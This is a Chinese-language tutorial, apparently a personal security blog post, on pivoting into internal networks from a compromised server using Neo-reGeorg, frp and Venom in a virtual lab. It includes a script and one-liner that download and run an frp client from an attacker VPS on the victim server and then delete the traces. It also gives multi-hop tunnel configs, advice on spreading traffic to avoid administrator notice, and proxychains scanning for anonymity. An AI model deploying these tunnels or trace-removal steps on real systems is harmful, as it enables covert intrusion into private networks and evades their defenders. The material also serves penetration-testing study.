方式1:Neo-reGeorg
测试在虚拟中进行:
-
攻击者电脑:windows11 192.168.2.1
-
被入侵的服务器:kail192.168.2.139 和 192.168.22.132
-
内网其他应用:winows7服务器 192.168.22.133
最低前提条件:获得被入侵服务器的文件上传权限
步骤:
-
下载Neo-reGeorg,并根据服务器的不同上传相应后缀的tunnel文件到服务器网站根目录下
1
2
3#Neo-reGeorg是reGeory的优化重构版
#下载链接
https://github.com/L-codes/Neo-reGeorg -
在攻击者电脑上运行reGeory的python文件与服务器上上传的tunnel文件建立连接。访问本地
1
2
3
4
5
6#指令如下
#生成相应的tunnel文件
python neoreg.py generate -k password
#连接tunnel文件
python neoreg.py -k password -u http://192.168.2.139/tunnel.php生成shell
建立连接
然后我们只需要以socks5协议设置代理为127.0.0.1:1080,即可通过192.168.2.139访问到内网主机192.168.22.133
设置代理的方式:Proxifier、proxychains、浏览器或者软件自带的代理
方式2:frp
测试在虚拟中进行:
-
攻击者电脑:windows11
-
攻击者VPS:ubuntu 12.34.56.789
-
被入侵的服务器:kail 192.168.2.139 和 192.168.22.132
-
内网其他应用:winows7服务器 192.168.22.133(仅主机)
最低前提条件:任意用户的shell
frp服务端架设(基本配置):配置frps.toml
1 | #frp发布版下载链接如下 |
运行frp服务端:
1 | chmod +x frps |
然后访问7500端口输入先前配置中的账号密码就可以看到frp服务端成功架设
1.socks协议代理
首先最简单常用的就是socks协议代理,这一功能在 frp 中是以插件的形式实现的
步骤:
-
客户端配置:准备frpc和frpc.toml,并在frpc.toml中添加如下配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16[common]
# 远程VPS地址
server_addr = 12.34.56.789
server_port = 7000
tls_enable = true
pool_count = 5
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5
plugin_user = test
plugin_passwd = bnbm
use_encryption = true
use_compression = true -
将这两个文件合并存放到网站根目录的frpc文件夹下
-
编写一个自动部署frpc的简单脚本ZLS并将其放到网站根目录
1
2
3
4
5
6
7
8
9cd /tmp
wget http://12.34.56.789/frpc/frpc
wget http://12.34.56.789/frpc/frpc.toml
chmod +x frpc
# 启动
nohup ./frpc -c frpc.toml &
# 删除痕迹
rm -rf /tmp/frpc
rm -rf /tmp/frpc.toml -
将ZLS上传到服务器(任意方式),并运行
1
wget http://12.34.56.789/ZLS >/dev/null 2>&1 && chmod +x ZLS && ./ZLS && rm -rf ZLS
-
然后根据frpc的配置,我们将vps的相应端口指定为代理即可访问到被入侵服务器的内网
1
这里是2080端口
成功上线
按照配置设置代理
成功访问内网web服务器并执行指令
注意:
部署步骤归结起来就是将两个frpc文件上传然后想办法使其运行即可
2.多级代理使用方法
环境准备:
1 | 个人服务器(Ubuntu):12.34.56.789 |
-
个人服务器上配置frps.toml并运行frps
配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14[common]
bind_addr = 0.0.0.0
bind_port = 7000
# IP 与 bind_addr 默认相同,可以不设置
# dashboard_addr = 0.0.0.0
# 端口必须设置,只有设置web页面才生效
dashboard_port = 7500
# 用户密码保平安
dashboard_user = LtmThink
dashboard_pwd = 123456789
# 允许客户端绑定的端口
allow_ports = 1080执行:
1
frps -c frps.toml
-
出网目标机上配置frps.toml并运行frps
配置:
1
2
3[common]
bind_addr = 0.0.0.0
bind_port = 7000执行:
1
frps -c frps.toml
-
出网目标机上配置frpc.toml并运行frpc
配置:
1
2
3
4
5
6
7
8
9
10
11
12[common]
tls_enable = true
server_addr = 12.34.56.789
server_port = 7000
[http_proxy]
type = tcp
#绑定的远程端口,也就是sock5代理应该连接的端口
remote_port = 1080
#plugin = socks5,不能加上这个
#相较于一级代理,增加如下两个配置
local_ip = 0.0.0.0
local_port = 7777运行:
1
frpc -c frpc.toml
-
内网目标机1上配置frpc.toml并运行frpc
配置:
1
2
3
4
5
6
7[common]
server_addr = 192.168.2.1
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5运行:
1
frpc -c frpc.toml
-
将代理设置为个人服务器的1080端口即可访问内网
3.负载均衡
使用场景:
当我们获得好几台可以连接外网的主机时,就可以启用多台客户端,进行负载均衡。让其均衡分担我们访问内网的流量,
毕竟突然从一台机器迸发出大量流量很容易引起管理员的注意,也可以负载分担一下机器的CPU资源消耗
frpc配置:
1 | [common] |
多台不同的被攻击机都这么配置就可以了关注多出来的group和group_key
4.udp协议代理
frp也支持udp协议的代理
以联机星露谷为例(服务端配置不变)
客户端配置文件修改为
1 | [common] |
这样访问服务器的1080端口就可以访问到本地的24642端口了(星露谷联机端口)
方式3:Venom
Venom v1.1.0内网穿透能力强于Neo-reGeorg,使用简单于frp,功能更加丰富,但稳定性差于frp
注意:Venom即支持connect连接(节点主动连接)也支持listen连接(节点被连接)
1.单级代理使用方法
环境准备:
1 | 个人服务器(Ubuntu):12.34.56.789 |
-
个人服务器上传admin_linux_x64并只需以下指令
1
2
3
4
5
6
7
8
9./admin_linux_x64 -lport 6666
或者
#假设192.168.22.1是一个可以被访问到的公网ip
个人服务器
./admin_linux_x64 -rhost 192.168.22.1 -rport 6666
那么目标机就应该
./agent_linux_x64 -lport 6666 -
出网目标机上传agent_linux_x64并执行以下指令
1
./agent_linux_x64 -rhost 12.34.56.789 -rport 6666
-
回到个人服务器,在Venom命令行输入以下指令
1
2
3
4
5#当完成第二部后个人服务器上的admin服务后提示连接成功
#展示当前的节点
show
#进入出网目标机节点
goto 1 -
配置socks代理
1
2#在个人服务器的1080端口建立socks5代理,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
socks 1080
2.多级代理使用方法
环境准备:
1 | 个人服务器(Ubuntu):12.34.56.789 |
-
个人服务器上传admin_linux_x64并只需以下指令
1
./admin_linux_x64 -lport 6666
-
出网目标机上传agent_linux_x64并执行以下指令
1
2#连接个人服务器的6666端口
./agent_linux_x64 -rhost 12.34.56.789 -rport 6666 -
内网目标机1上传agent_linux_x64并执行以下指令
1
2#监听本地8080端口
./agent_linux_x64 -lport 8080 -
回到个人服务器,在Venom命令行输入以下指令
1
2
3
4
5
6
7#进入出网目标机节点(在此节点可以访问的到不出网的内网目标机1)
goto 1
#连接内网目标机1的8080端口
connect 192.168.2.150 8080
#此时会显示连接成功
#进入内网目标机1节点(在这个节点可以访问到内网目标机2了)
goto 2 -
配置socks代理
1
2#输入以下指令,会在个人服务器的1080开启代理服务,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
socks 1080
3.端口复用支持
应用场合:某些情况下端口开放被禁用,我们可以使用已知的开放端口连接
介绍:通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。
环境准备:
1 | admin节点(本地虚拟机kail,可以访问192.168.22.133也可以被访问):192.168.2.1 |
agent节点执行
1 | #注意这里lhost的ip地址写本机地址,但不要写0.0.0.0 |
admin节点执行
1 | #admin连接192.168.22.133开放的80端口,而不会影响运行在其上的web服务 |
4.端口转发
在建立与内网之间的连接后我们还可以通过Venom将内网的端口转发到个人服务器的端口上,实现访问外部的个人服务器的某一端口即可访问到内网的某一端口
1 | #在个人服务器12.34.56.789的Venom命令行输入以下指令即可将内网192.168.22.133的80端口映射到#12.34.56.789:8070,后续只要访问12.34.56.789:8070即可访问到192.168.22.133:80 |
也支持将个人服务器的端口映射到内网的端口
1 | #在Venom命令行进入节点192.168.22.133输入以下指令即可将本地的80端口,映射到192.168.22.133的8070端口,后续内网主机只要访问192.168.22.133:8070即可访问到访问到个人服务器12.34.56.789的80端口 |
5.交互shell支持
1 | 进入某一节点输入 |
6.文件上传下载支持
1 | #进入某一节点输入类似指令 |
参考博客:https://www.cnblogs.com/xuanlvsec/p/14206776.html
代理设置工具:Proxifier/proxychains简单介绍
Proxifier
windows平台一般使用Proxifier来对特定软件进行代理
打开软件后选择Profile的proxy servers进行代理服务器的添加
选择Proxification Rules进行相关规则的配置
规则里面
-
Default为默认的代理规则,这里是direct直连,表示默认所有软件不使用代理
-
然后针对特定软件的特定代理规则需要自己配置,向这里的nmap使用的是12.34.56.789这个代理
proxychains
linux平台一般使用proxychains来对特定软件进行代理。kail自带有proxychains,以kail里的proxychains为例介绍
打开Proxychains配置文件/etc/proxychains4.conf,编辑文件中的代理服务器列表:
1 | sudo vim /etc/proxychains4.conf |
在文件的最后,添加代理服务器的IP地址和端口号,例如:
1 | [ProxyList] |
在终端中使用Proxychains启动需要代理的应用程序,例如Nmap扫描:
1 | proxychains nmap -sS 192.168.1.0/24 |
此时Nmap将使用Proxychains配置文件中的代理服务器进行扫描,实现IP地址的隐藏和匿名。